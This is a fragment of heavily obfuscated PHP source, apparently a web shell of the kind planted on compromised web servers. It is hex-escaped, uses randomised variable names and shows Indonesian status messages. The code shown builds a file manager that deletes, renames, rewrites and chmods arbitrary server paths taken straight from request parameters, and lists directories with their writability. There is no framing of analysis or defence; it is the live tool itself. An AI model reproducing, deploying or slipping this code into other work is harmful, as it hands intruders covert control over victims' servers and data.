S\x55\x43\x43\x45\x53S\x20\x21\x21</\x66on\x74>\x3c\x62\x72/\x3e";}else{echo"<\x73cri\x70\x74>\x61\x6ce\x72t(\"C\x68\x61\x6ege
P\x65rm\x69ss\x69on\x20\x47\x61\x67al
\x21\x21\")\x3c/\x73cr\x69\x70t\x3e";}}echo"<f\x6fr\x6d\x20me\x74h\x6fd\x3d\x22PO\x53T\">\n\x50er\x6di\x73\x73\x69\x6fn\x20:
\x3c\x69n\x70\x75\x74
\x6e\x61m\x65=\x22pe\x72\x6d\"\x20t\x79pe\x3d\"\x74\x65x\x74\x22\x20\x73\x69z\x65\x3d\"4\"
\x76alue=\"".substr(sprintf("%o",fileperms($_POST["\x70\x61\x74h"])),-4)."\x22
s\x74\x79le=\"widt\x68:\x380\x70\x78\x3b
h\x65\x69\x67h\x74:\x2030p\x78;\"/>\n\x3c\x69\x6e\x70u\x74
\x74\x79p\x65=\x22\x68\x69dden\x22 na\x6d\x65=\x22\x70\x61\x74\x68\"
\x76a\x6cu\x65=\"".$_POST["p\x61\x74\x68"]."\"\x3e\n\x3c\x69\x6ep\x75t
typ\x65=\x22h\x69dden\"\x20nam\x65\x3d\x22\x6fp\x74\x22
\x76a\x6c\x75e\x3d\"\x63hmo\x64\">\n\x3c\x69\x6e\x70u\x74
\x74\x79p\x65=\"\x73u\x62\x6d\x69t\x22
\x76al\x75\x65=\"Ut\x69wi\"\x20styl\x65\x3d\x22\x77\x69\x64\x74\x68:6\x30\x70x;\x20\x68e\x69ght:\x20\x330p\x78\x3b\x22/>\n\x3c/\x66o\x72\x6d>";}elseif($_GET["o\x70\x74"]=="btw"){$llluktfpyi="c\x77\x64";$dhscjpj="\x63\x77\x64";${${"\x47\x4c\x4fB\x41LS"}["\x79\x68n\x73\x63bw\x61\x79\x66"]}=getcwd();echo"<fo\x72m
\x61\x63\x74io\x6e\x3d\"?\x6f\x70\x74\x69on\x26\x70\x61th=".${$dhscjpj}."\x26o\x70t=\x64el\x65t\x65\x26t\x79pe\x3d\x62\x75a\x74\"\x20me\x74h\x6f\x64\x3d\x22P\x4f\x53\x54\x22>\n\x4e\x65w
\x4ea\x6d\x65\x20:\x20<\x69\x6e\x70\x75t
n\x61\x6de=\"\x6e\x61\x6de\x22 \x74\x79p\x65\x3d\"te\x78t\"
\x73i\x7a\x65=\"25\"\x20\x76\x61lue=\x22Fol\x64er\x22\x20\x73t\x79\x6ce\x3d\x22\x77\x69dth:\x330\x30\x70x;\x20h\x65\x69\x67\x68\x74:
3\x30\x70\x78;\x22/\x3e\n\x3c\x69\x6epu\x74
typ\x65\x3d\x22\x68\x69d\x64en\" n\x61m\x65=\x22\x70a\x74h\x22
\x76a\x6cu\x65=\x22".${$llluktfpyi}."\x22>\n\x3c\x69\x6ep\x75\x74
t\x79pe=\x22\x68i\x64d\x65n\x22\x20na\x6d\x65=\x22\x6fp\x74\"\x20va\x6cue=\"\x64\x65\x6ce\x74e\x22>\n<\x69npu\x74\x20\x74yp\x65=\x22s\x75\x62\x6d\x69t\x22\x20v\x61lu\x65\x3d\"Go\"\x20\x73\x74yle=\"\x77\x69\x64\x74h:1\x300px;\x20\x68e\x69\x67\x68\x74:
3\x30px;\"/\x3e\n</\x66\x6f\x72\x6d\x3e";}elseif($_POST["\x6fp\x74"]=="\x72\x65\x6e\x61m\x65"){if(isset($_POST["newname"])){if(rename($_POST["path"],${${"G\x4c\x4fBALS"}["g\x66w\x72\x64jo\x77\x78v\x74\x74"]}."/".$_POST["\x6eewn\x61\x6d\x65"])){echo"\x3c\x62r\x3e\x3c\x62r>\x3cf\x6f\x6et\x20c\x6f\x6co\x72=\x22w\x68i\x74\x65\">\x43HA\x4eG\x45\x20\x4eAME\x20\x53\x55\x43CES\x53
!\x21</\x66\x6f\x6et\x3e<br/\x3e";}else{echo"<\x73c\x72i\x70\x74>al\x65\x72\x74(\"\x43han\x67e\x20N\x61me\x20Ga\x67a\x6c
\x21\x21\")</\x73cr\x69p\x74>";}$_POST["\x6e\x61\x6d\x65"]=$_POST["n\x65\x77nam\x65"];}echo"<f\x6f\x72m
\x6dethod=\"\x50O\x53T\">\n\x4e\x65w
N\x61\x6de\x20:\x20\x3c\x69\x6ep\x75\x74\x20\x6ea\x6de=\x22\x6e\x65w\x6e\x61\x6d\x65\"
\x74ype=\"\x74e\x78t\x22\x20\x73ize=\"\x35\x22
\x73t\x79\x6c\x65\x3d\"\x77\x69d\x74h:\x32\x30\x25;
\x68e\x69g\x68t:3\x30\x70x;\x22\x20v\x61\x6cu\x65\x3d\"".$_POST["na\x6d\x65"]."\x22\x20/>\n\x3ci\x6ep\x75\x74\x20\x74y\x70e\x3d\"\x68\x69\x64\x64\x65\x6e\"\x20n\x61\x6d\x65\x3d\"\x70a\x74\x68\x22
v\x61\x6cu\x65\x3d\x22".$_POST["pat\x68"]."\">\n<i\x6e\x70ut
\x74y\x70\x65=\"\x68i\x64\x64\x65\x6e\"\x20\x6ea\x6de=\"op\x74\"\x20\x76al\x75\x65=\x22\x72e\x6eame\x22>\n\x3c\x69\x6epu\x74
typ\x65=\x22sub\x6dit\"\x20v\x61\x6c\x75e\x3d\"U\x74iw\x69\x22\x20\x73t\x79l\x65\x3d\"h\x65i\x67\x68t:\x33\x30\x70x\x3b\x22
/\x3e\n\x3c/\x66o\x72\x6d>";}elseif($_POST["op\x74"]=="edit"){if(isset($_POST["\x73\x72\x63"])){${${"G\x4c\x4f\x42\x41\x4cS"}["\x62w\x71g\x69\x70"]}=fopen($_POST["p\x61\x74\x68"],"w");if(fwrite(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x77\x71\x67\x69\x70"]},$_POST["\x73rc"])){echo"\x3c\x62r\x3e<\x62r>\x3c\x66\x6f\x6et\x20col\x6f\x72\x3d\"\x77hi\x74e\x22>\x45\x44IT
\x46I\x4c\x45\x20\x53\x55\x43CESS\x20\x21!\x3c/\x66\x6f\x6e\x74><br/>";}else{echo"<\x73cr\x69\x70\x74\x3ea\x6ce\x72t(\"\x45d\x69\x74\x20F\x69le\x20\x47\x61\x67\x61\x6c
\x21\x21\")</\x73\x63\x72i\x70\x74\x3e";}fclose(${${"\x47L\x4f\x42A\x4c\x53"}["\x62\x77\x71\x67\x69p"]});}echo"<\x66orm\x20m\x65\x74h\x6fd=\x22P\x4fST\">\n\x3ct\x65x\x74\x61rea
co\x6cs\x3d\x38\x30
r\x6f\x77\x73\x3d\x320\x20\x6ea\x6de\x3d\"\x73\x72\x63\x22\x20\x73ty\x6c\x65=\x22fon\x74-\x73\x69\x7a\x65:\x20\x38p\x78\x3b
b\x6f\x72d\x65\x72: \x31p\x78 s\x6fl\x69d \x77\x68\x69\x74e\x3b
bac\x6bg\x72\x6f\x75n\x64-co\x6c\x6fr: \x62\x6cack\x3b\x20\x63olo\x72:
w\x68it\x65\x3b
wi\x64\x74\x68:\x20\x31\x30\x30%;\x68ei\x67ht:\x20\x31\x30\x30\x30px;\">".htmlspecialchars(file_get_contents($_POST["p\x61\x74\x68"]))."\x3c/\x74e\x78\x74\x61r\x65a>\x3cb\x72
/>\n\x3c\x69n\x70ut\x20t\x79\x70\x65\x3d\x22\x68i\x64\x64\x65n\"\x20\x6e\x61m\x65=\x22\x70\x61th\x22
\x76al\x75e\x3d\"".$_POST["pa\x74\x68"]."\x22\x3e\n\x3c\x69\x6e\x70\x75t
t\x79\x70\x65=\"\x68i\x64de\x6e\x22\x20n\x61\x6d\x65=\x22op\x74\"\x20\x76al\x75\x65=\"ed\x69\x74\x22>\n\x3ci\x6e\x70\x75\x74\x20t\x79\x70\x65=\"\x73ubm\x69t\x22\x20\x76al\x75\x65\x3d\x22U\x74\x69\x77\x69\"\x20s\x74\x79l\x65=\"\x68e\x69g\x68t:\x33\x30\x70\x78\x3b
\x77\x69dt\x68:\x37\x30\x70x;\x22/\x3e\n\x3c/\x66or\x6d\x3e";}echo"\x3c/ce\x6ete\x72>";}else{${"\x47\x4cOB\x41\x4c\x53"}["u\x75hc\x6d\x70liic\x63\x74"]="s\x63a\x6ed\x69\x72";echo"</\x74\x61\x62l\x65\x3e<br\x20/\x3e<c\x65\x6e\x74\x65\x72>";if(isset($_GET["\x6fp\x74i\x6f\x6e"])&&$_POST["\x6f\x70\x74"]=="de\x6c\x65\x74e"){if($_POST["\x74yp\x65"]=="\x64\x69\x72"){if(rmdir($_POST["\x70a\x74\x68"])){echo"<b\x72>\x3cbr\x3e<\x66o\x6et
co\x6c\x6fr=\"\x77\x68it\x65\x22\x3eDE\x4c\x45TE \x44I\x52
\x53\x55CC\x45\x53S\x20\x21\x21\x3c/fo\x6et>\x3cb\x72/>";}else{echo"<\x73c\x72\x69\x70t\x3ea\x6cer\x74(\"De\x6cet\x65
Di\x72 \x47a\x67a\x6c
!!\x22)\x3c/s\x63\x72\x69pt>";}}elseif($_POST["\x74\x79\x70\x65"]=="f\x69\x6c\x65"){if(unlink($_POST["\x70a\x74\x68"])){echo"<br\x3e\x3c\x62r\x3e\x3c\x66\x6f\x6et\x20\x63o\x6cor\x3d\x22\x77\x68it\x65\x22\x3eD\x45\x4cE\x54\x45
\x46IL\x45\x20SU\x43C\x45\x53S
!!</fo\x6e\x74\x3e\x3cb\x72/>";}else{echo"<s\x63r\x69\x70\x74>\x61l\x65\x72t(\"\x44\x65lete
F\x69l\x65\x20\x47\x61g\x61\x6c\x20!\x21\x22)\x3c/\x73c\x72i\x70\x74>";}}}${"\x47L\x4fB\x41\x4cS"}["\x73u\x6a\x66\x72dm\x65"]="pa";echo"</cente\x72>";${"GL\x4f\x42AL\x53"}["xg\x6cclg"]="\x73\x63\x61n\x64\x69\x72";${${"\x47LO\x42\x41L\x53"}["\x79\x67\x6d\x72\x77\x6f\x62\x78\x67\x62"]}=scandir(${${"G\x4cO\x42A\x4c\x53"}["\x67f\x77\x72\x64\x6a\x6fwx\x76tt"]});${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x73u\x6a\x66\x72\x64m\x65"]}=getcwd();echo"<di\x76\x20\x69\x64\x3d\x22\x63\x6fn\x74ent\x22\x3e\x3ctab\x6c\x65
w\x69d\x74h\x3d\x22\x39\x35\x25\x22
cl\x61\x73\x73=\"\x74\x61\x62le_\x68o\x6de\x22
\x62\x6f\x72\x64\x65\x72=\"\x30\"\x20\x63e\x6cl\x70\x61ddi\x6e\x67=\x223\"
\x63e\x6c\x6cs\x70\x61\x63i\x6e\x67=\x221\"\x20\x61\x6ci\x67\x6e=\x22\x63en\x74er\x22>\n\x3c\x74\x72\x20\x63l\x61\x73\x73=\"fi\x72\x73t\">\n<\x74\x68\x3e\x3c\x63\x65n\x74er>N\x61m\x65</c\x65\x6eter></\x74\x68>\n<\x74h\x3e<\x63\x65\x6ete\x72>S\x69\x7a\x65</\x63\x65\x6e\x74er>\x3c/th\x3e\n\x3c\x74\x68><\x63\x65nt\x65r\x3eP\x65\x72\x6d</\x63\x65\x6eter\x3e\x3c/th>\n<\x74h\x3e<cen\x74\x65r\x3e\x4fp\x74i\x6fn\x73\x3c/c\x65nt\x65\x72\x3e\x3c/\x74\x68\x3e\n</\x74\x72>\n\x3ctr\x3e";foreach(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75u\x68\x63\x6d\x70lii\x63\x63\x74"]}
as${${"GL\x4fB\x41LS"}["\x69\x78\x63ui\x73\x6b\x78\x6d\x79"]}){${"G\x4c\x4fB\x41\x4c\x53"}["\x63\x6e\x74wn\x63"]="\x64i\x72";$djfwxyvwx="\x64\x69r";if(!is_dir("$path/$dir")||${$djfwxyvwx}=="."||${${"\x47L\x4fBA\x4cS"}["\x63n\x74\x77\x6ec"]}=="\x2e.")continue;echo"\x3c\x74\x72\x3e\n<\x74d\x20\x63la\x73s=\x74d\x5f\x68\x6fm\x65><im\x67
\x73\x72c\x3d\x27\x64a\x74\x61:\x69\x6d\x61ge/pn\x67;ba\x73e64,\x52\x30lG\x4fDl\x68EwA\x51A\x4c\x4d\x41A\x41AAAP///\x35\x79c\x41\x4d\x37O\x59///\x6e\x50//\x7a\x76/\x4f\x6e\x50f39////w\x41A\x41\x41\x41\x41AAAAA\x41A\x41\x41A\x41\x41A\x41AA\x41A\x41A\x41\x43H5BA\x45A\x41\x41\x67\x41\x4c\x41\x41\x41A\x41AT\x41\x42\x41AAA\x52RE\x4dlJq\x37046\x79\x706\x42\x78si\x48\x45\x56\x42\x45\x41\x4b\x59\x43\x55\x50\x72D\x70\x37H\x6c\x58R\x64\x45o\x4d\x71Ceb\x70/4Yc\x68\x66fz\x47QhH\x34Y\x52Y\x50B\x32DO\x6c\x48P\x69\x4bwq\x64\x31P\x71\x38yrV\x56\x67\x33Q\x59eH5R\x59K5\x72\x4a\x66a\x46U\x55\x41\x33v\x424\x66\x42I\x42\x41\x44\x73='\x3e<a
h\x72\x65f\x3d\x22?p\x61\x74h\x3d$path/$dir\"\x3e\x20$dir\x3c/\x61></\x74d>\n<t\x64
c\x6ca\x73\x73\x3dtd_h\x6fme>\x3c\x63e\x6e\x74\x65\x72>DIR</\x63\x65\x6e\x74e\x72></\x74\x64\x3e\n\x3ct\x64\x20cla\x73\x73\x3d\x74d_h\x6f\x6d\x65\x3e<ce\x6et\x65\x72>";if(is_writable("$path/$dir"))echo"<\x66o\x6e\x74
color\x3d\"#\x35\x37FF\x30\x30\">";elseif(!is_readable("$path/$dir"))echo"\x3c\x66o\x6et\x20\x63o\x6co\x72=\x22#\x46F0\x30\x304\x22\x3e";echo
perms("$path/$dir");if(is_writable("$path/$dir")||!is_readable("$path/$dir"))echo"\x3c/\x66o\x6e\x74>";echo"\x3c/\x63\x65\x6et\x65\x72></td>\n<t\x64
c\x6c\x61ss\x3dt\x64_\x68ome\x3e<c\x65\x6eter>\x3c\x66orm\x20met\x68\x6fd=\x22PO\x53\x54\"
a\x63\x74ion=\x22?op\x74i\x6fn&p\x61\x74h\x3d$path\x22\x3e\n\x3cse\x6cect
\x6ea\x6d\x65\x3d\x22o\x70t\"
st\x79l\x65=\"\x6d\x61rg\x69\x6e-top:6px;w\x69dt\x68:100\x70\x78\x3bf\x6f\x6et-f\x61\x6dil\x79:\x4b\x65\x6c\x6cy\x20Sl\x61\x62\x3b\x66\x6f\x6et-\x73\x69z\x65:1\x35\x3b\x62\x61\x63kgr\x6f\x75n\x64:b\x6ca\x63\x6b\x3bc\x6f\x6cor:wh\x69\x74\x65;bo\x72\x64e\x72:\x32p\x78
s\x6f\x6c\x69d
\x77\x68ite\x3bbord\x65\x72-r\x61diu\x73:\x35\x70x\x22\x3e\n\x3cop\x74i\x6f\x6e\x20\x76al\x75\x65=\"A\x63ti\x6f\x6e\x22>\x41c\x74ion</\x6fpti\x6fn\x3e\n<\x6fpt\x69\x6f\x6e\x20valu\x65\x3d\"del\x65t\x65\">\x44\x65let\x65</op\x74i\x6fn\x3e\n\x3cop\x74\x69o\x6e
va\x6c\x75\x65\x3d\x22ch\x6do\x64\x22>C\x68m\x6f\x64</o\x70tio\x6e\x3e\n<o\x70ti\x6fn\x20va\x6c\x75\x65\x3d\"\x72en\x61\x6de\x22>\x52\x65\x6e\x61\x6d\x65</\x6f\x70\x74\x69o\x6e>\n</sel\x65\x63t\x3e\n\x3ci\x6ep\x75\x74\x20type\x3d\"hi\x64d\x65\x6e\"
\x6eame\x3d\"\x74y\x70\x65\"\x20v\x61lu\x65\x3d\"d\x69r\x22>\n<\x69\x6e\x70\x75t\x20ty\x70\x65\x3d\"\x68\x69\x64\x64e\x6e\x22\x20\x6e\x61me=\"\x6eame\x22\x20\x76\x61\x6c\x75e=\"$dir\x22\x3e\n\x3ci\x6ep\x75\x74\x20\x74ype\x3d\x22\x68idd\x65\x6e\x22
\x6e\x61\x6d\x65\x3d\x22\x70\x61t\x68\x22\x20\x76\x61\x6cu\x65=\x22$path/$dir\">\n\x3ci\x6ep\x75t\x20\x74y\x70e=\"submi\x74\"\x20\x76\x61\x6c\x75\x65\x3d\x22\x3e\"
st\x79\x6c\x65\x3d\"ma\x72\x67i\x6e-to\x70:\x36px;w\x69d\x74\x68:\x32\x37\x3b\x66\x6fnt-fa\x6di\x6cy:Kel\x6c\x79
\x53\x6c\x61b;f\x6f\x6e\x74-\x73i\x7a\x65:15\x3b\x62a\x63\x6b\x67r\x6f\x75\x6e\x64:b\x6ca\x63k;c\x6flor:\x77hi\x74e;b\x6frd\x65r:\x32px\x20\x73ol\x69d
wh\x69t\x65;\x62\x6f\x72\x64\x65\x72-\x72\x61\x64\x69us:5\x70\x78\"/\x3e\n</\x66o\x72\x6d></\x63e\x6e\x74e\x72\x3e\x3c/\x74d>\n\x3c/\x74\x72\x3e";}echo"<t\x72
\x63\x6c\x61s\x73\x3d\x22\x66\x69rs\x74\"\x3e\x3ct\x64></t\x64>\x3ctd></td\x3e\x3c\x74\x64>\x3c/\x74\x64\x3e<t\x64>\x3c/\x74\x64\x3e\x3c/\x74\x72\x3e";foreach(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x67l\x63\x6cg"]}
as${${"\x47LO\x42AL\x53"}["\x79\x70um\x75\x66byz\x67"]}){if(!is_file("$path/$file"))continue;${"GLO\x42A\x4c\x53"}["jy\x72n\x65v\x6ben"]="\x73\x69\x7ae";$bcvkgsqk="\x73\x69\x7ae";${${"G\x4c\x4fB\x41L\x53"}["dn\x76wg\x77\x63\x65\x78\x78"]}=filesize("$path/$file")/1024;${$bcvkgsqk}=round(${${"\x47\x4cO\x42\x41L\x53"}["\x64\x6ev\x77\x67\x77ce\x78x"]},3);if(${${"\x47L\x4fB\x41\x4c\x53"}["\x6ay\x72n\x65\x76k\x65\x6e"]}>=1024){${${"G\x4c\x4f\x42\x41\x4c\x53"}["dnv\x77g\x77c\x65\x78\x78"]}=round(${${"G\x4c\x4f\x42A\x4c\x53"}["\x64n\x76\x77\x67\x77c\x65x\x78"]}/1024,2)."\x20MB";}else{${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x6dwb\x74\x73\x75\x6b\x75"]="s\x69\x7ae";$ftdthpynjh="\x73\x69\x7a\x65";${$ftdthpynjh}=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64\x6d\x77\x62\x74\x73\x75\x6b\x75"]}."
K\x42";}echo"\x3ctr\x3e\n<\x74d
\x63\x6c\x61\x73\x73=td\x5fh\x6f\x6d\x65><im\x67
src=\x27da\x74\x61:i\x6d\x61g\x65/pn\x67\x3bb\x61s\x656\x34,\x69\x56\x42\x4fRw0\x4bG\x67\x6f\x41\x41\x41ANSU\x68\x45Ug\x41\x41ABAA\x41\x41AQCAY\x41\x41AA\x668/\x39hAAA\x41AX\x4e\x53R0\x49\x41r\x734c6\x51A\x41AA\x5a\x69\x530\x64\x45AP\x38A/w\x44/o\x4c\x32\x6ek\x77\x41\x41AAlw\x53Fl\x7a\x41\x41AL\x45wAAC\x78MBA\x4aqc\x47\x41A\x41AA\x64\x30S\x551F\x429o\x4aB\x68\x63TJ\x76\x32\x422d4\x41AAJ\x4d\x53U\x52\x42\x56D\x6aLb\x5aO9\x54hxZEIW/ql\x76\x64\x74\x4d38\x42N\x67JQ\x6dQ\x67JG\x64+\x41/\x4dQ\x42Lw\x47\x6a\x69\x77H3\x6e\x77d\x6b\x53\x4ct\x4f2xERG5L\x71\x78\x58R\x53\x49\x52\x32\x59D\x66D\x34Gk\x47\x4d\x30\x503\x72\x624b9P\x41\x7a\x30l\x37p\x53\x6cW\x6cW0f\x6enL\x6f\x6cA\x49\x50B4\x50\x58\x68\x34\x65\x46\x75\x6e\x75cA\x49\x49LwdES\x65\x5a\x79\x41\x69fnp\x36+\x759\x6fN\x4c\x6f\x33\x67M\x33NzT\x64\x48R+//zv\x4aMz\x53\x79\x4aKKo\x64\x69\x49g8A\x58a\x78\x65\x49z\x31\x62\x44Z\x37Mx\x71N\x66t\x67\x53U\x52\x44\x57\x797LUnZ\x30\x64\x59m\x78AF\x41\x56E\x6cI\x36\x41\x45\x43yg\x49s\x51Qs\x69\x7aL\x42\x4fABA\x44\x4fj\x4b\x41pqh\x37\x75\x37\x47o\x43U\x57iwY\x62e\x74o\x55\x48\x72\x72\x50cwC\x71\x6f\x462\x4bU\x65X\x4c\x7aEzB\x760+uQmSH\x4d\x45\x5a\x39F\x36\x53Z\x63r6\x694\x49sB\x4f\x61/b7H\x51\x4d\x61\x48\x74I\x41\x77gL\x64H\x61\x6c\x44\x41\x31e\x760\x65Q\x62S\x6a\x72\x45\x72Q\x77\x4a\x70q\x464\x65\x41\x78/\x68\x6f\x71\x441\x332\x6dM\x6b\x4a\x72\x695uSOl\x46\x68\x45hp\x55\x51Iiojwa\x6d\x4fDNsljf\x55W\x43qpL\x6e\x4f\x61a\x43\x53KJt\x6eaB\x43\x73ZYjAl\x6cmX\x494\x76\x61\x65oaVX0c\x62S\x64hmUR\x33\x7a\x41\x4b\x76\x4e\x6aY6V\x69\x6f\x6f0tWzg\x45\x6f\x6eK\x62\x57+Kk\x47W\x74\x33\x55n\x74\x30CeG\x66J\x73\x39g+UU\x30r\x45\x47HH/\x48\x77/M\x6aH6/T+P\x4fdFoRN\x4bC\x68\x4d\x322x\x6dO\x50e\x73pj\x50\x47\x516Hp\x4eQ2\x37t6\x73A\x43\x44SNa\x6eyo\x6cjDLEd\x56\x61F\x4f\x4c\x658Z\x6b\x55j\x4b\x35ukq\x33t7\x39\x6c\x50\x43\x37/\x4f\x44\x6b\x35Ga+\x596\x4f5MqymNw3\x561y3\x68\x79z\x66\x58\x30\x68q\x76JLyb\x58\x46\x64++f\x32d\x33d0d\x6ds+\x71\x76\x67\x34O\x44\x7a8f\x48x\x30/L\x73b\x653\x39\x364\x73\x53\x37+4u\x45\x6a\x75n\x70\x71mS\x656e3\x443\x4e\x35/N\x30W\x5ab\x74ly\x39\x66\x309\x6eZ2Z/b\x32\x39v\x32fL\x45\x65vv\x4b\x39q\x76\x37\x632t\x6f\x4bi8Uii\x51iqHbm6r\x69\x57\x36a\x31\x33\x66\x6e+zv\x373+oqo\x72h\x63L\x67\x4b\x55\x46\x58\x56P+f\x6e52+\x4co\x6e\x6a8\x49LJ\x30P\x38\x5a\x49\x43CF\x39/PT\x70C\x6chpBvgP\x65\x6c\x6f\x4c\x39\x5555NIA\x41AAA\x41SUVOR\x4b\x35\x43Y\x49I\x3d'>\x3ca
h\x72\x65\x66\x3d\"?\x66\x69\x6cesrc\x3d$path/$file\x26pa\x74\x68\x3d$path\x22\x3e\x20$file</a>\x3c/td>\n\x3c\x74\x64
\x63la\x73s\x3d\x74\x64_home\x3e<\x63e\x6e\x74\x65r\x3e".${${"\x47LO\x42\x41\x4c\x53"}["d\x6e\x76w\x67\x77\x63\x65\x78x"]}."</\x63\x65\x6e\x74\x65\x72>\x3c/\x74d>\n\x3c\x74d
\x63l\x61ss=\x74d\x5fh\x6f\x6de>\x3cce\x6e\x74\x65\x72>";if(is_writable("$path/$file"))echo"\x3cfo\x6et
col\x6fr=\x22\x23\x35\x37\x46\x460\x30\x22>";elseif(!is_readable("$path/$file"))echo"<font\x20co\x6c\x6f\x72\x3d\"#FF\x30\x3004\x22>";echo
perms("$path/$file");if(is_writable("$path/$file")||!is_readable("$path/$file"))echo"</fon\x74>";echo"</cen\x74\x65\x72>\x3c/t\x64\x3e\n\x3c\x74\x64\x20cl\x61\x73s=td\x5fh\x6f\x6d\x65>\x3c\x63e\x6e\x74\x65\x72>\x3c\x66or\x6d
m\x65th\x6fd=\"\x50OST\"
\x61\x63tion=\x22?opt\x69on\x26p\x61t\x68=$path\">\n\x3cse\x6c\x65\x63\x74
\x6e\x61m\x65\x3d\"opt\"
\x73t\x79\x6ce=\"\x6da\x72g\x69\x6e-\x74\x6fp:6p\x78;\x77idth:\x310\x30\x70\x78;f\x6f\x6et-fa\x6di\x6c\x79:K\x65ll\x79
Sl\x61\x62\x3bf\x6f\x6e\x74-\x73iz\x65:1\x35;\x62a\x63k\x67\x72\x6fu\x6e\x64:\x62\x6ca\x63\x6b\x3bc\x6f\x6cor:w\x68i\x74\x65;border:2\x70x
\x73\x6f\x6c\x69d\x20w\x68i\x74e;borde\x72-\x72ad\x69\x75s:\x35p\x78\x22>\n<\x6f\x70t\x69o\x6e\x20\x76\x61\x6cue\x3d\x22Ac\x74ion\">Ac\x74\x69on\x3c/\x6fpt\x69o\x6e>\n\x3c\x6fp\x74\x69\x6fn\x20value=\x22\x64\x65\x6c\x65t\x65\x22>D\x65\x6c\x65te\x3c/op\x74\x69o\x6e\x3e\n\x3c\x6fp\x74ion
\x76alue\x3d\"\x65di\x74\"\x3eE\x64\x69\x74\x3c/\x6f\x70\x74i\x6f\x6e>\n\x3copt\x69o\x6e
val\x75e=\"\x72e\x6ea\x6d\x65\"\x3e\x52ena\x6d\x65</opti\x6fn\x3e\n\x3copt\x69\x6f\x6e
\x76alue\x3d\x22c\x68m\x6f\x64\"\x3eC\x68\x6d\x6f\x64\x3c/opti\x6fn\x3e\n</sel\x65c\x74>\n<in\x70u\x74\x20\x74\x79pe\x3d\x22\x68id\x64\x65n\"\x20na\x6de=\x22\x74\x79pe\"
v\x61l\x75\x65=\x22\x66\x69\x6c\x65\">\n\x3c\x69\x6e\x70ut\x20t\x79pe=\x22\x68\x69dd\x65n\"\x20name=\x22n\x61\x6de\x22
val\x75e\x3d\x22$file\x22>\n\x3c\x69\x6ep\x75t\x20type\x3d\x22\x68id\x64e\x6e\"
n\x61\x6de\x3d\x22pa\x74\x68\"\x20va\x6cu\x65=\x22$path/$file\x22\x3e\n<i\x6eput
\x74yp\x65=\"\x73\x75\x62m\x69\x74\"
v\x61l\x75e\x3d\x22\x3e\"
s\x74\x79le\x3d\x22\x6da\x72g\x69n-t\x6fp:6\x70\x78;\x77\x69dth:2\x37;\x66\x6fnt-\x66\x61\x6d\x69l\x79:K\x65\x6c\x6c\x79
Sl\x61\x62\x3b\x66\x6f\x6et-\x73i\x7a\x65:\x315\x3b\x62ac\x6b\x67\x72ou\x6e\x64:\x62\x6c\x61\x63\x6b;\x63\x6fl\x6fr:w\x68\x69\x74\x65;b\x6f\x72de\x72:\x32\x70x\x20\x73ol\x69d
\x77h\x69\x74\x65\x3bb\x6f\x72\x64er-r\x61di\x75s:5\x70\x78\x22/>\n\x3c/\x66o\x72m\x3e\x3c/c\x65\x6e\x74\x65\x72></\x74d>\n</tr>";}echo"</\x74\x61bl\x65>\n\x3c/\x64i\x76>";}function
perms($file){$fqokdbxzvdc="\x70\x65r\x6d\x73";${"\x47L\x4fBA\x4cS"}["qbm\x6c\x72\x6f\x76"]="\x70\x65\x72\x6d\x73";${"\x47\x4c\x4fB\x41LS"}["\x6bte\x77\x76\x72\x65\x67kn\x6b"]="pe\x72\x6ds";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x61o\x67ig\x62\x6d\x6e"]="i\x6ef\x6f";${"\x47\x4cO\x42\x41\x4cS"}["\x73\x66\x65s\x63km\x71l\x63\x69"]="\x70\x65\x72\x6ds";${${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x66\x65s\x63\x6b\x6dq\x6cci"]}=fileperms(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x70\x75m\x75\x66b\x79z\x67"]});${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cn\x66\x73\x75\x6fwe\x6c\x79"]="inf\x6f";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x6d\x63\x68\x74e"]="\x70\x65r\x6d\x73";${"\x47\x4cO\x42A\x4c\x53"}["\x74v\x6d\x71f\x66\x77k\x76\x76"]="perm\x73";if((${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71b\x6d\x6cr\x6f\x76"]}&0xC000)==0xC000){${${"G\x4c\x4f\x42A\x4c\x53"}["s\x72b\x65\x71\x71"]}="\x73";}elseif((${${"\x47\x4c\x4fB\x41\x4cS"}["\x6b\x74\x65\x77\x76re\x67\x6b\x6e\x6b"]}&0xA000)==0xA000){${${"\x47\x4c\x4fB\x41L\x53"}["\x73\x72\x62\x65\x71q"]}="l";}elseif((${${"GL\x4f\x42\x41\x4cS"}["k\x6fft\x6c\x75\x77\x6e\x6d\x70r"]}&0x8000)==0x8000){$imjdqneldden="\x69\x6e\x66\x6f";${$imjdqneldden}="-";}elseif((${${"\x47\x4c\x4f\x42\x41LS"}["ko\x66\x74\x6c\x75wn\x6d\x70\x72"]}&0x6000)==0x6000){${${"\x47\x4cOB\x41\x4c\x53"}["s\x72be\x71\x71"]}="\x62";}elseif((${${"\x47\x4cOB\x41\x4c\x53"}["\x6f\x6d\x63\x68\x74\x65"]}&0x4000)==0x4000){${"\x47\x4c\x4fB\x41L\x53"}["\x71\x63cms\x65\x6d\x70"]="i\x6e\x66o";${${"G\x4c\x4fB\x41\x4c\x53"}["\x71cc\x6d\x73\x65\x6d\x70"]}="d";}elseif((${${"\x47LO\x42A\x4cS"}["ko\x66tlu\x77n\x6d\x70r"]}&0x2000)==0x2000){${${"G\x4cO\x42\x41\x4c\x53"}["s\x72b\x65q\x71"]}="c";}elseif((${$fqokdbxzvdc}&0x1000)==0x1000){${${"G\x4c\x4f\x42\x41\x4cS"}["\x73r\x62e\x71\x71"]}="\x70";}else{$vxfuytrq="\x69nf\x6f";${$vxfuytrq}="u";}${${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x72\x62\x65\x71q"]}.=((${${"G\x4c\x4fBALS"}["k\x6f\x66t\x6c\x75\x77nm\x70\x72"]}&0x0100)?"\x72":"-");$toeudlkbhkky="\x70\x65\x72\x6d\x73";$pifulgo="\x69n\x66o";${${"GLO\x42\x41\x4c\x53"}["\x73r\x62\x65\x71\x71"]}.=((${${"\x47LOB\x41L\x53"}["k\x6f\x66\x74\x6c\x75\x77\x6e\x6d\x